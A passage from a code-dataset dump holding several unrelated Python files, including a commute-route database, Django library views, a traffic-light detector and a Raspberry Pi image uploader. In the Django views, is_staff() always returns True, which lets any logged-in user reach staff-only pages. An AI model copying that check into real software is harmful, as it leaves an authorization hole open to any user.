cursor.fetchone()\n if row is not None:\n route._id = row[0]\n return route\n\n command = 'INSERT INTO route VALUES (?, ?, ?, ?)'\n parameters = (route.name,\n self.require_geolocation(route.origin)._id,\n self.require_geolocation(route.destination)._id,\n self.require_geolocation(route.waypoint)._id,)\n cursor = self.connection.execute(command, parameters)\n route._id = cursor.lastrowid\n\n return route\n\n def require_trip(self, trip):\n if trip._id is not None:\n return trip\n\n with self.connection:\n command = 'SELECT rowid from trip where name = ?'\n parameters = (trip.name,)\n cursor = self.connection.execute(command, parameters)\n row = cursor.fetchone()\n if row is not None:\n trip._id = row[0]\n return trip\n\n command = 'INSERT INTO trip VALUES (?, ?, ?, ?, ?, ?)'\n parameters = (trip.name,\n trip.country,\n trip.start_time.isoformat(),\n trip.end_time.isoformat(),\n 1 if trip.weekdays_only else 0,\n 1 if trip.ignore_holidays else 0)\n cursor = self.connection.execute(command, parameters)\n trip._id = cursor.lastrowid\n\n command = 'INSERT INTO trip_routes VALUES (?, ?)'\n parameters = []\n for route in trip.routes:\n parameters.append((trip._id, self.require_route(route)._id))\n self.connection.executemany(command, parameters)\n\n return trip\n\n def require_measurement(self, measurement):\n if measurement._id is not None:\n return measurement\n\n with self.connection:\n command = 'INSERT INTO measurement VALUES (?, ?, ?, ?, ?)'\n parameters = (self.require_route(measurement.route)._id,\n measurement.datetime_measured.isoformat(),\n int(measurement.duration.total_seconds()),\n int(measurement.duration_in_traffic.total_seconds()),\n ';'.join(measurement.warnings))\n cursor = self.connection.execute(command, parameters)\n measurement._id = cursor.lastrowid\n\n return measurement\n\n def get_all_routes(self):\n command = 'select trip.country, trip.weekdays_only, trip.ignore_holidays, ' \\\n 'route.rowid, route.name, ' \\\n 'origin.*, origin.rowid, ' \\\n 'destination.*, destination.rowid, ' \\\n 'waypoint.*, waypoint.rowid from trip ' \\\n 'join trip_routes on trip.rowid = trip_routes.trip_id ' \\\n 'join route on trip_routes.route_id = route.rowid ' \\\n 'join geolocation as origin on route.origin_id = origin.rowid ' \\\n 'join geolocation as destination on route.destination_id = destination.rowid ' \\\n 'join geolocation as waypoint on route.waypoint_id = waypoint.rowid'\n\n with self.connection:\n cursor = self.connection.execute(command)\n\n routes = []\n for row in cursor:\n route_id = row[3]\n route_name = row[4]\n origin = Geolocation(*row[5:9])\n destination = Geolocation(*row[9:13])\n waypoint = Geolocation(*row[13:17])\n route = Route(route_name, origin, destination, waypoint, route_id)\n routes.append(route)\n\n return routes\n\n def get_active_routes(self, force=False):\n now = datetime.datetime.now()\n command = 'select trip.country, trip.weekdays_only, trip.ignore_holidays, ' \\\n 'route.rowid, route.name, ' \\\n 'origin.*, origin.rowid, ' \\\n 'destination.*, destination.rowid, ' \\\n 'waypoint.*, waypoint.rowid from trip ' \\\n 'join trip_routes on trip.rowid = trip_routes.trip_id ' \\\n 'join route on trip_routes.route_id = route.rowid ' \\\n 'join geolocation as origin on route.origin_id = origin.rowid ' \\\n 'join geolocation as destination on route.destination_id = destination.rowid ' \\\n 'join geolocation as waypoint on route.waypoint_id = waypoint.rowid ' \\\n 'where time(start_time) < ? and time(end_time) > ?'\n parameters = (now.time().isoformat(),\n now.time().isoformat())\n with self.connection:\n cursor = self.connection.execute(command, parameters)\n\n routes = []\n for row in cursor:\n country = row[0]\n weekdays_only = bool(row[1])\n ignore_holidays = bool(row[2])\n\n if weekdays_only and now.weekday() in [5, 6]:\n continue\n\n if ignore_holidays and now in holidays.CountryHoliday(country):\n continue\n\n route_id = row[3]\n route_name = row[4]\n origin = Geolocation(*row[5:9])\n destination = Geolocation(*row[9:13])\n waypoint = Geolocation(*row[13:17])\n route = Route(route_name, origin, destination, waypoint, route_id)\n routes.append(route)\n\n return routes\n","sub_path":"commute/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":8914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"201816189","text":"from django.shortcuts import render\nfrom . import forms,models\nfrom django.http import HttpResponseRedirect\nfrom datetime import datetime,timedelta,date\nfrom django.contrib.auth.decorators import login_required,user_passes_test\n# Create your views here.\ndef home_view(request):\n if request.user.is_authenticated:\n return HttpResponseRedirect('afterlogin')\n return render(request,'library/index.html')\n\n\n#for showing signup/login button for student\ndef studentclick_view(request):\n if request.user.is_authenticated:\n return HttpResponseRedirect('afterlogin')\n return render(request,'library/studentclick.html')\n\n#for showing signup/login button for teacher\ndef staffclick_view(request):\n if request.user.is_authenticated:\n return HttpResponseRedirect('afterlogin')\n return render(request,'library/staffclick.html')\n\n\ndef staffsignup_view(request):\n form1=forms.StaffForm()\n form2=forms.AuthenticateForm()\n mydict={'form1':form1,'form2':form2}\n if request.method=='POST':\n form1=forms.StaffForm(request.POST)\n form2=forms.AuthenticateForm(request.POST)\n if form1.is_valid() and form2.is_valid():\n form2.sid=form1.cleaned_data['sid']\n form2.userid=None\n form1.save()\n form2.save()\n return HttpResponseRedirect('stafflogin')\n return render(request,'library/staffsignup.html',context=mydict)\n\n\n\n\ndef studentsignup_view(request):\n form1=forms.ReaderForm()\n form2=forms.Reader_PnoForm()\n form3=forms.AuthenticateForm()\n mydict={'form1':form1,'form2':form2,'form3':form3}\n if request.method=='POST':\n form1=forms.ReaderForm(request.POST)\n form2=forms.Reader_PnoForm(request.POST)\n form3=forms.AuthenticateForm(request.POST)\n if form1.is_valid() and form2.is_valid() and form3.is_valid():\n form2.userid=form1.cleaned_data['userid']\n form3.userid=form1.cleaned_data['sid']\n form3.sid=None\n form1.save()\n form2.save()\n form3.save()\n return HttpResponseRedirect('studentlogin')\n return render(request,'library/studentsignup.html',context=mydict)\n\ndef is_staff(user):\n if 1==1:\n return True\n else:\n return False\n\n\ndef afterlogin_view(request):\n if is_staff(request.user):\n return render(request,'library/staffafterlogin.html')\n else:\n return render(request,'library/studentafterlogin.html')\n\n\n\n@login_required(login_url='stafflogin')\n@user_passes_test(is_staff)\ndef addbook_view(request):\n form1=forms.BookForm()\n form2=forms.Book_AuthorForm()\n form3=forms.Book_CategoryForm()\n mydict={'form1':form1,'form2':form2,'form3':form3}\n if request.method=='POST':\n form1=forms.BookForm(request.POST)\n form2=forms.Book_AuthorForm(request.POST)\n form3=forms.Book_CategoryForm(request.POST)\n if form1.is_valid() and form2.is_valid() and form3.is_valid():\n form2.isbn=form1.changed_data['isbn']\n form3.isbn=form1.changed_data['isbn']\n form1.save()\n form2.save()\n form3.save()\n return render(request,'library/bookadded.html')\n return render(request,'library/addbook.html',context=mydict)\n\n@login_required(login_url='stafflogin')\n@user_passes_test(is_staff)\ndef viewbook_view(request):\n book1=models.Book.objects.all()\n book2=models.Book_Author.objects.all()\n book3=models.Book_Category.objects.all()\n mydict={'book1':book1,'book2':book2,'book3':book3}\n return render(request,'library/viewbook.html',context=mydict)\n\n@login_required(login_url='stafflogin')\n@user_passes_test(is_staff)\ndef issuebook_view(request):\n form=forms.IssuedToForm()\n if request.method=='POST':\n form=forms.IssuedToForm(request.POST)\n if form.is_valid():\n obj=models.IssuedTo()\n #obj.enrollment=request.POST.get('enrollment2')\n #obj.isbn=request.POST.get('isbn2')\n #obj.save()\n return render(request,'library/bookissued.html')\n return render(request,'library/issuebook.html',{'form':form})\n\n\n@login_required(login_url='stafflogin')\n@user_passes_test(is_staff)\ndef viewissuedbook_view(request):\n issuedbooks=models.IssuedBook.objects.all()\n li=[]\n for ib in issuedbooks:\n issdate=str(ib.issuedate.day)+'-'+str(ib.issuedate.month)+'-'+str(ib.issuedate.year)\n expdate=str(ib.expirydate.day)+'-'+str(ib.expirydate.month)+'-'+str(ib.expirydate.year)\n #fine calculation\n days=(date.today()-ib.issuedate)\n print(date.today())\n d=days.days\n fine=0\n if d>15:\n day=d-15\n fine=day*10\n\n\n books=list(models.Book.objects.filter(isbn=ib.isbn))\n students=list(models.StudentExtra.objects.filter(enrollment=ib.enrollment))\n i=0\n for l in books:\n t=(students[i].get_name,students[i].enrollment,books[i].name,books[i].author,issdate,expdate,fine)\n i=i+1\n li.append(t)\n\n return render(request,'library/viewissuedbook.html',{'li':li})\n\n\n\n@login_required(login_url='stafflogin')\n@user_passes_test(is_staff)\ndef viewstudent_view(request):\n students=models.StudentExtra.objects.all()\n return render(request,'library/viewstudent.html',{'students':students})\n\n\n@login_required(login_url='studentlogin')\ndef viewissuedbookbystudent(request):\n student=models.StudentExtra.objects.filter(user_id=request.user.id)\n issuedbook=models.IssuedBook.objects.filter(enrollment=student[0].enrollment)\n\n li1=[]\n\n li2=[]\n for ib in issuedbook:\n books=models.Book.objects.filter(isbn=ib.isbn)\n for book in books:\n t=(request.user,student[0].enrollment,student[0].branch,book.name,book.author)\n li1.append(t)\n issdate=str(ib.issuedate.day)+'-'+str(ib.issuedate.month)+'-'+str(ib.issuedate.year)\n expdate=str(ib.expirydate.day)+'-'+str(ib.expirydate.month)+'-'+str(ib.expirydate.year)\n #fine calculation\n days=(date.today()-ib.issuedate)\n print(date.today())\n d=days.days\n fine=0\n if d>15:\n day=d-15\n fine=day*10\n t=(issdate,expdate,fine)\n li2.append(t)\n\n return render(request,'library/viewissuedbookbystudent.html',{'li1':li1,'li2':li2})\n","sub_path":"library/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"326892707","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nOBGP: Open Book Genome Project\n\"\"\"\n\nimport codecs\nimport os\nimport re\nimport setuptools\n\nhere = os.path.abspath(os.path.dirname(__file__))\n\n\ndef read(*parts):\n \"\"\"Taken from pypa pip setup.py:\n intentionally *not* adding an encoding option to open, See:\n https://github.com/pypa/virtualenv/issues/201#issuecomment-3145690\n \"\"\"\n return codecs.open(os.path.join(here, *parts), 'r').read()\n\n\ndef find_version(*file_paths):\n version_file = read(*file_paths)\n version_match = re.search(r\"^__version__ = ['\\\"]([^'\\\"]*)['\\\"]\",\n version_file, re.M)\n if version_match:\n return version_match.group(1)\n raise RuntimeError(\"Unable to find version string.\")\n\ndef requirements():\n \"\"\"Returns requirements.txt as a list usable by setuptools\"\"\"\n import os\n reqtxt = os.path.join(here, u'requirements.txt')\n with open(reqtxt) as f:\n return f.read().split()\n \nsetuptools.setup(\n name='obgp',\n version=find_version(\"bgp\", \"__init__.py\"),\n description=\"Open Book Genome Project\",\n long_description=read('README.md'),\n long_description_content_type=\"text/markdown\",\n author='OBGP',\n author_email='michael.karpeles@gmail.com',\n url='https://github.com/Open-Book-Genome-Project/sequencer',\n packages=[\n 'bgp',\n 'bgp/modules'\n ],\n keywords=\"open book genome analysis fulltext\",\n platforms='any',\n include_package_data=True,\n license='LICENSE',\n install_requires=requirements(),\n classifiers=[\n \"License :: OSI Approved :: MIT License\",\n ],\n extras_require={\n ':python_version==\"2.7\"': ['argparse']\n }\n)\n","sub_path":"pypi_install_script/obgp-0.0.32.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"381697095","text":"import numpy as np\nimport tensorflow as tf\nimport time\nimport cv2\nimport os\nimport rospy\nimport sys\n\nimport glob\nimport classify_light\nfrom styx_msgs.msg import TrafficLight\n\nMODEL_NAME='faster_rcnn_resnet101_coco_11_06_2017'\n# Path to frozen detection graph. This is the actual model that is used for the object detection.\nPATH_TO_CKPT = MODEL_NAME + '/frozen_inference_graph.pb'\n\nclass FRCNNClassifier(object):\n detection_graph = None\n session = None\n light_i = 0\n\n def __init__(self, path='./'):\n # see if model exists, if not get it!\n if os.path.isdir(path + './' + MODEL_NAME):\n rospy.loginfo('Loading Faster RCNN model with COCO')\n else:\n rospy.logerr('Missing Faster RCNN model with COCO. Run `download_rcnn_model.sh` first.')\n\n rospy.loginfo('Loading tf graph...')\n self.detection_graph = tf.Graph()\n with self.detection_graph.as_default():\n od_graph_def = tf.GraphDef()\n with tf.gfile.GFile(path + './' + PATH_TO_CKPT, 'rb') as fid:\n serialized_graph = fid.read()\n od_graph_def.ParseFromString(serialized_graph)\n tf.import_graph_def(od_graph_def, name='')\n self.session = tf.Session(graph=self.detection_graph)\n # Need a seed to prep the session otherwise we get some weird GPU delay on the first image\n seed = np.zeros((480, 640, 3))\n self.get_classification(seed)\n rospy.loginfo('FRCNN Loaded.')\n\n def extract_traffic_light(self, image, boxes, scores, classes, class_light=10):\n scores = np.squeeze(scores)\n boxes = np.squeeze(boxes)\n classes = np.squeeze(classes).astype(np.int32)\n bounding_box = None\n highest_score = 0\n for i in range(boxes.shape[0]):\n if scores is None or scores[i] > 0.5 and classes[i] == class_light:\n\n if (scores[i] > highest_score):\n highest_score = scores[i]\n box = tuple(boxes[i].tolist())\n ymin, xmin, ymax, xmax = box\n startx = int(xmin * image.shape[1])\n endx = int(xmax * image.shape[1])\n starty = int(ymin * image.shape[0])\n endy = int(ymax * image.shape[0])\n # print (\n # 'acc score: {} return x: {},{} y: {},{} shape: {}'.format(scores[i], startx, endx, starty, endy, image.shape))\n bounding_box = [(startx, starty), (endx, starty), (startx, endy), (endx, endy)]\n\n if (bounding_box is None):\n rospy.loginfo('couldnt find light!')\n return bounding_box\n\n def extract_bounding_box(self, image_msg, light_msg):\n image_np = image_msg.data\n bounding_box, _, _, _, _ = self.extract_bounding_box_impl(image_np)\n return bounding_box\n\n def extract_bounding_box_impl(self, image_np):\n # Definite input and output Tensors for detection_graph\n with self.detection_graph.as_default():\n image_tensor = self.detection_graph.get_tensor_by_name('image_tensor:0')\n # Each box represents a part of the image where a particular object was detected.\n detection_boxes = self.detection_graph.get_tensor_by_name('detection_boxes:0')\n # Each score represent how level of confidence for each of the objects.\n # Score is shown on the result image, together with the class label.https://console.cloud.google.com/logs/viewer?resource=ml_job%2Fjob_id%2Ffaraz_object_detection_1507318078&project=trainbosch\n detection_scores = self.detection_graph.get_tensor_by_name('detection_scores:0')\n detection_classes = self.detection_graph.get_tensor_by_name('detection_classes:0')\n num_detections = self.detection_graph.get_tensor_by_name('num_detections:0')\n # Expand dimensions since the model expects images to have shape: [1, None, None, 3]\n image_np_expanded = np.expand_dims(image_np, axis=0)\n # Actual detection.\n (boxes, scores, classes, num) = self.session.run(\n [detection_boxes, detection_scores, detection_classes, num_detections],\n feed_dict={image_tensor: image_np_expanded})\n # Visualization of the results of a detection.\n # class == 10 for coco, 1 for ours\n light = self.extract_traffic_light(image_np, np.squeeze(boxes), np.squeeze(scores), np.squeeze(classes),\n class_light=10)\n return light, boxes, scores, classes, num\n\n def get_classification(self, image_np, debug=False):\n start = time.time()\n light, boxes, scores, classes, num = self.extract_bounding_box_impl(image_np)\n state = TrafficLight.UNKNOWN\n if light is not None:\n state = classify_light.classify_light_with_bounding_box(light, image_np)\n diff = time.time() - start\n\n if (debug):\n from matplotlib import pyplot as plt\n from utils import visualization_utils as vis_util\n\n cv2.putText(image_np, str(state), (230, 200), cv2.FONT_HERSHEY_SIMPLEX, 2, (0, 255, 0), 2, cv2.LINE_AA)\n vis_util.visualize_boxes_and_labels_on_image_array(\n image_np,\n np.squeeze(boxes),\n np.squeeze(classes).astype(np.int32),\n np.squeeze(scores),\n {},\n use_normalized_coordinates=True,\n line_thickness=2,\n min_score_thresh=0.5)\n print('Time taken: {}'.format(diff))\n self.light_i += 1\n cv2.imwrite(\"/tmp/debug/{}.jpg\".format(self.light_i),image_np)\n\n return state\n\nif __name__ == '__main__':\n a = FRCNNClassifier()\n for file in sorted(glob.glob(sys.argv[1])):\n image = cv2.imread(file)\n image = np.array(cv2.cvtColor(image, cv2.COLOR_BGR2RGB))\n classification = a.get_classification(image, False)\n print(\"{} in {} has state: {}\".format(file, sys.argv[1], classification))\n\n","sub_path":"ros/src/tl_detector/light_classification/FRCNNClassifier.py","file_name":"FRCNNClassifier.py","file_ext":"py","file_size_in_byte":5540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"363613189","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport quant_mech.utils as utils\n\ndata = np.load('../../data/dqd_current_temperature_data.npz')\n\nvoltage_values = data['voltage_values']\ncurrent_values = data['current_values']\ne_range = data['e_range']\n#damping_values = data['damping_values']\nmode_dms = data['mode_dms']\nomega = data['omega']\ntemperature = data['temperature']\n\nfor i,v in enumerate(current_values):\n plt.subplot(2, 2,i+1)\n plt.plot(e_range/omega, v)\n plt.title(r'T = ' + str(temperature[i]) + 'K')\n plt.xlabel(r'$\\epsilon$')\n plt.ylabel(r'$I_R / e$')\n \nplt.tight_layout()\nplt.show()","sub_path":"vibration_assisted_photoconversion_device/plots/scripts/dqd_temperature.py","file_name":"dqd_temperature.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"484237037","text":"from netCDF4 import Dataset\nfrom os import path\nimport numpy as np\nimport config as config\n\ndata_dir = config.storage_dir\n\ndef get_time_consistant():\n forecast_dir = path.join(data_dir, 'forecast')\n observation_dir = path.join(data_dir, 'observation')\n fc_rg = Dataset(path.join(forecast_dir, 'raw_data.nc'))\n obs_rg = Dataset(path.join(observation_dir, 'raw_data.nc'))\n fc_dates = fc_rg.variables['time']\n obs_dates = obs_rg.variables['time']\n dates = set(fc_dates) & set(obs_dates)\n fc_data = fc_rg.variables['data'][:]\n obs_data = obs_rg.variables['data'][:]\n new_fc_data = []\n new_obs_data = []\n for idx, i in enumerate(fc_dates):\n if fc_dates[idx] in dates:\n new_fc_data.append(fc_data[idx])\n for idx, i in enumerate(obs_dates):\n if obs_dates[idx] in dates:\n new_obs_data.append(obs_data[idx])\n dates = sorted(list(dates))\n\n rootgrp = Dataset(path.join(forecast_dir, 'data.nc'), 'w')\n rootgrp.createDimension('time', dates.__len__())\n rootgrp.createDimension('latitude', config.latitude.__len__())\n rootgrp.createDimension('longitude', config.longitude.__len__())\n rootgrp.createDimension('ens', 51)\n\n times = rootgrp.createVariable('time', 'u4', ('time',))\n times.units = 'Second since 1970-01-01T08:00:00Z'\n latitudes = rootgrp.createVariable('latitude', 'f4', ('latitude',))\n longitudes = rootgrp.createVariable('longitude', 'f4', ('longitude',))\n data = rootgrp.createVariable('data', 'f4', ('time', 'longitude', 'latitude', 'ens'))\n\n times[:] = np.array(dates)\n latitudes[:] = np.array(config.latitude)\n longitudes[:] = np.array(config.longitude)\n data[:,:,:,:] = np.array(new_fc_data)[:,:,:,:]\n rootgrp.close()\n\n rootgrp = Dataset(path.join(observation_dir, 'data.nc'), 'w')\n\n rootgrp.createDimension('time', dates.__len__())\n rootgrp.createDimension('latitude', config.latitude.__len__())\n rootgrp.createDimension('longitude', config.longitude.__len__())\n\n times = rootgrp.createVariable('time', 'u4', ('time',))\n times.units = 'Second since 1970-01-01T08:00:00Z'\n latitudes = rootgrp.createVariable('latitude', 'f4', ('latitude',))\n longitudes = rootgrp.createVariable('longitude', 'f4', ('longitude',))\n data = rootgrp.createVariable('data', 'f4', ('time', 'longitude', 'latitude'))\n\n times[:] = np.array(dates)\n latitudes[:] = np.array(config.latitude)\n longitudes[:] = np.array(config.longitude)\n data[:,:,:] = np.array(new_obs_data)[:,:,:]\n rootgrp.close()\n\nget_time_consistant()\n","sub_path":"data_utils/total_manuplated.py","file_name":"total_manuplated.py","file_ext":"py","file_size_in_byte":2562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"443883614","text":"import sys\nfrom collections import deque\nN=int(input())\ncard=deque(map(int,sys.stdin.readline().split())) # = [0] + list(map(int,sys.stdin.readline().split()))\ncard.appendleft(0)\ndp = [0]*1001\nfor i in range(1,N+1):\n dp[i]=card[i]\n for j in range(i):\n dp[i]=min(dp[i],dp[i-j]+dp[j])\nprint(dp[N])","sub_path":"백준/기초1/다이나믹 프로그래밍1/카드구매하기2.py","file_name":"카드구매하기2.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"594243819","text":"from collections import Counter, defaultdict\nimport glob\nimport json\nimport os.path\nimport re\n\nimport bs4\nimport requests\n\nimport sys\nsys.path.append(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))\nfrom b3.book import Tanakh\nfrom b3.hebrew import Hebrew\n\n\n# Need to put HebrewStrong.xml and LexicalIndex.xml from https://github.com/openscriptures/HebrewLexicon into this dir:\nLEXICON_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'resources', 'lexicon')\n\n\nPREFIXES = ['and', 'as', 'at', 'for', 'from', 'in', 'like', 'on', 'the', 'to', 'when', 'will', 'with', 'you will']\nSUFFIXES = ['he', 'her', 'his', 'my', 'our', 'she', 'their', 'they', 'we', 'you', 'your']\nPRE_AND_SUF = ['as they', 'in her', 'in his', 'in my', 'in their', 'they will', 'to her', 'to his', 'to my', 'to our', 'to their', 'with her', 'with his']\n\n\ndef run():\n \"\"\"Create an easy-to-use json Hebrew lexicon.\"\"\"\n tanakh = Tanakh()\n heb = Hebrew()\n\n print('1. Loading translations')\n translations = _load_translations()\n\n print('2. Loading strongs')\n strongs = _load_strongs(heb)\n word_to_sid = _load_word_to_strongs_id(heb)\n # TODO: Possibly using the strongs-id as the \"root\" might be better...\n root_to_sids = defaultdict(set)\n for id_, entry in strongs.items():\n root_to_sids[entry['w-clean']].add(id_)\n root_to_sids = {root: sorted(ids, key=lambda x: int(x.strip('H'))) for root, ids in root_to_sids.items()}\n\n print('3. Creating lexicon')\n lexicon = {}\n lexicon_root = {}\n for book in tanakh.books:\n for verse in book.iter_verses():\n for i, token in enumerate(verse.he_tokens):\n ref = book.ref, verse.c, verse.v, i\n w = heb.strip_cantillations(token.word)\n if w not in lexicon:\n trans = translations.get(_clean(w))\n sid = word_to_sid.get(heb.sort_niqqud(w))\n entry = strongs.get(sid)\n root = entry['w-clean'] if entry else w\n root_trans = translations.get(root)\n lexicon[w] = {\n 'trans': trans,\n 'root': root,\n 'root-trans': root_trans,\n 'sid': sid,\n 'refs': [],\n }\n lexicon[w]['refs'].append(ref)\n root = lexicon[w]['root']\n if root:\n if root not in lexicon_root:\n lexicon_root[root] = {\n 'sids': root_to_sids.get(root, []),\n 'refs': [],\n }\n lexicon_root[root]['refs'].append(ref)\n\n print('4. Persist')\n with open(os.path.join(LEXICON_DIR, 'Strongs.json'), 'w') as f:\n json.dump(strongs, f)\n with open(os.path.join(LEXICON_DIR, 'Lexicon.json'), 'w') as f:\n json.dump(lexicon, f)\n with open(os.path.join(LEXICON_DIR, 'LexiconRoot.json'), 'w') as f:\n json.dump(lexicon_root, f)\n\n\ndef _load_translations():\n with open(os.path.join(LEXICON_DIR, 'GoogleTranslations.json'), 'r') as f:\n return json.load(f)\n\n\ndef _load_strongs(heb):\n with open(os.path.join(LEXICON_DIR, 'HebrewStrong.xml'), 'r') as f:\n strongs_xml = bs4.BeautifulSoup(f.read(), 'html.parser')\n strongs = {}\n for x in strongs_xml.find_all('entry'):\n w = heb.strip_cantillations(_get(x, 'w'))\n strongs[x['id']] = {\n 'id': x['id'],\n 'w': w,\n 'w-clean': _clean(w),\n 'pron': x.find('w')['pron'],\n 'desc': '{}; {}'.format(_get(x, 'meaning'), _get(x, 'usage')).replace('None; ', '').replace('; None', ''),\n }\n return strongs\n\n\ndef _load_word_to_strongs_id(heb):\n # Figure out a unique mapping from word -> strongs-id based on bible-hub scrapings\n strongs_map = defaultdict(lambda: Counter())\n for path in glob.glob(os.path.join(LEXICON_DIR, 'BibleHubScrape.*.json')):\n with open(path, 'r') as f:\n data = json.load(f)['data']\n for item in data:\n for row in re.findall('.*?', item['html'])[1:]:\n w = heb.strip_cantillations(re.search('([^<]*)', row).group(1))\n w = heb.strip_punctuation(w)\n w = heb.sort_niqqud(w)\n sid = re.search('http://strongsnumbers.com/hebrew\\/(\\w+)\\.htm', row)\n if w and sid:\n w2 = w.replace('\\u05b9\\u05d5', '\\u05d5\\u05b9')\n sid = 'H' + sid.group(1).strip('abcd') # <- HebrewStrong.xml doesn't seem to support\n strongs_map[w][sid] += 1 # these \"sub-entries\"\n if w != w2:\n strongs_map[w2][sid] += 1\n strongs_map = {w: sorted(counts.items(), key=lambda x: x[1])[-1][0] for w, counts in strongs_map.items()}\n return strongs_map\n\n\ndef _get(entry, child):\n if entry.find(child):\n return ''.join([str(x) for x in entry.find(child).contents])\n\n\ndef _clean(w):\n return re.sub('[^\\u05D0-\\u05EA]', '', w)\n\n\nif __name__ == \"__main__\":\n run()\n \n","sub_path":"scripts/04_create_lexicon.py","file_name":"04_create_lexicon.py","file_ext":"py","file_size_in_byte":5212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"11580309","text":"# coding: utf-8\n\"\"\"\n生成人脸识别的数据集,\n将vgg_face_dataset图像中标记人脸切分出来,按照每个人进行分类\n格式如下:\n person1:\n face-1.jpg\n face-2.jpg\n person2:\n face-1.jpg\n face-2.jpg\n ...\n\"\"\"\nimport os\nimport cv2\nimport random\nimport shutil\nimport numpy as np\n\n\ndef crop_face(ann_path, save_dir, is_split_dev=False):\n def _save_face(bx, by, wh, text):\n if not (bx <= 0 or bx + wh > img_w or by <= 0 or by + wh > img_h):\n face = img[by: by + wh, bx:bx + wh]\n face = cv2.resize(face, dsize=(save_size, save_size))\n\n file_dir = os.path.join(save_dir, img_class)\n if is_split_dev:\n if random.random() < 0.1:\n file_dir = os.path.join(save_dir, 'dev', img_class)\n else:\n file_dir = os.path.join(save_dir, 'train', img_class)\n\n os.makedirs(file_dir, exist_ok=True)\n file_path = os.path.join(file_dir, 'img-{}-{}.jpg'.format(count, text))\n cv2.imwrite(file_path, face)\n print('{}, save face: {}'.format(count, file_path))\n\n save_size = 64\n with open(ann_path, 'r') as fp:\n anns = fp.readlines()\n\n count = 0\n for ann in anns:\n img_path, x1, y1, x2, y2, _ = [i.strip() for i in ann.split(',')]\n x1, y1, x2, y2 = [int(i) for i in [x1, y1, x2, y2]]\n # check img\n img = cv2.imread(img_path)\n if not isinstance(img, np.ndarray):\n continue\n # try to make class dir\n img_class = img_path.split('/')[5]\n\n img_h, img_w, _ = img.shape\n # crop\n dx, dy = x2 - x1, y2 - y1\n if dx > dy:\n beg_x, beg_y = x1, y1 - (dx - dy) // 2\n else:\n beg_x, beg_y = x1 - (dy - dx) // 2, y1\n # 取比人脸更大一点的图像\n max_xy = max(dx, dy)\n increase_size = int(0.15 * max_xy)\n beg_x, beg_y = beg_x - increase_size // 2, beg_y - increase_size // 2\n dx, dy = dx + increase_size, dy + increase_size\n max_xy = max(dx, dy)\n if max_xy < 5:\n continue\n _save_face(beg_x, beg_y, max_xy, 'org')\n # augment\n if max_xy < 10:\n continue\n aug_max_xy = int((1 - random.random() * 0.3) * max_xy)\n aug_beg_x = int(beg_x + max_xy // 2 + random.randint(-30, 30) / 200 * max_xy - aug_max_xy // 2)\n aug_beg_y = int(beg_y + max_xy // 2 + random.randint(-30, 30) / 200 * max_xy - aug_max_xy // 2)\n _save_face(aug_beg_x, aug_beg_y, aug_max_xy, 'aug')\n count += 1\n\n\ndef split_train_dev(save_dir):\n class_list = os.listdir(save_dir)\n train_path = os.path.join(save_dir, 'train')\n dev_path = os.path.join(save_dir, 'dev')\n os.makedirs(train_path, exist_ok=True)\n os.makedirs(dev_path, exist_ok=True)\n for class_name in class_list:\n class_dir = os.path.join(save_dir, class_name)\n dev_class_dir = os.path.join(dev_path, class_name)\n os.makedirs(dev_class_dir, exist_ok=True)\n for file_name in os.listdir(class_dir):\n if random.random() < 0.1:\n shutil.move(os.path.join(class_dir, file_name), dev_class_dir)\n shutil.move(class_dir, train_path)\n\n\n","sub_path":"scripts/get_recognition_face_dataset.py","file_name":"get_recognition_face_dataset.py","file_ext":"py","file_size_in_byte":3267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"505530287","text":"from __future__ import (division, print_function, absolute_import,\n unicode_literals)\n\nfrom obvci.conda_tools.build_directory import Builder\nfrom prepare_packages import RECIPE_FOLDER, BINSTAR_CHANNEL\n\n\ndef main(recipe_dir=RECIPE_FOLDER):\n builder = Builder(recipe_dir, BINSTAR_CHANNEL, 'main')\n builder.main()\n print('moo')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"affiliate-builder/build_recipes.py","file_name":"build_recipes.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"352686420","text":"import pymysql\nimport os\nimport time\nos.chdir(\"/home/pi/Desktop/IMage_sql\")#Enter the path where the images needs to be stored\npymysql.install_as_MySQLdb()\nimport MySQLdb\n\ndb = MySQLdb.connect(\"Host\",\"Username\",\"password\",\"databasename\" )\ncursor = db.cursor()\n\nwhile(True):\n try:\n os.system(\"raspistill -o img1.jpg\")\n print(\"Written\")\n except:\n print(\"Unable to take image\")\n with open(\"img1.jpg\",'rb') as file:\n binary=file.read()\n sql=\"UPDATE CAMERA SET Image = %s WHERE sno = 1\" #make an entry in the table with sno 1\n print(len(binary))\n try:\n cursor.execute(sql,(binary))\n db.commit()\n print(\"sql written\")\n except:\n db.rollback()\n print(\"SQL update failed for image\")\n time.sleep(2) \ndb.close()\n","sub_path":"Code.py","file_name":"Code.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"272446854","text":"import platform\nimport xml.etree.ElementTree as ET\nimport re\nfrom pprint import pprint\nfrom collections import defaultdict\nimport random\nfrom datetime import datetime\nimport argparse\n\nstartTime 